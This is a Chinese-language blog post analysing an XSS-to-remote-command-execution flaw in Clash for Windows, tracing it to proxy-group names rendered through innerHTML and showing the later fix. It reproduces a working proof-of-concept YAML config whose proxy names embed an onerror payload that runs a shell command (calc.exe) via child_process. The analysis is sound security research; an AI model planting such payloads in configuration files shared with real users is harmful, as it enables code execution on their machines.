Clash for Windows XSS RCE 分析

突然爆出了 Clash for WindowsXSS 远程命令执行漏洞,刚好有空,简单分析一下。

在 Github 的 Release 中,找到更新记录,发现在 v 0.19.8 中还未进行漏洞修复,在 v 0.19.9 中修复了漏洞,但是 v 0.19.10 又提到了一次漏洞修复,故将 v 0.19.8 下载到本地进行测试。

下载完后,由于是使用的 Vue + Electron 开发,故进行解包,得到以下文件,拖入 Visual Studio Code 进行分析:

根据 Issues 中的 POC,应该是读取配置文件的键值时,没有进行操作,直接渲染到 Vue 程序上。

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

搜索关键字 proxy-groups ,发现是由 e.conf 进行调用的,继续跟进,找到如下代码

e._l(e.conf["proxy-groups"],(function(t,n){return i("div",{key:n,staticClass:"proxy-item left-item",on:{click:function(i){return e.editGroup(t,n)}}},[i("div",{domProps:{innerHTML:e._s(e.$parseEmoji(t.name))}})

这样,proxy-groups 中的 name 经过解析表情函数 parseEmoji 处理后,被直接插入到HTML中,造成了 XSS 漏洞。

看了一下 v 0.19.9 也存在同样的问题,在 v 0.19.10 中,没有采用 innerHTML:

e._l(e.conf["proxy-groups"],(function(t,n){return i("div",{key:n,staticClass:"proxy-item left-item",on:{click:function(i){return e.editGroup(t,n)}}},[i("div",[e._v(e._s(t.name))])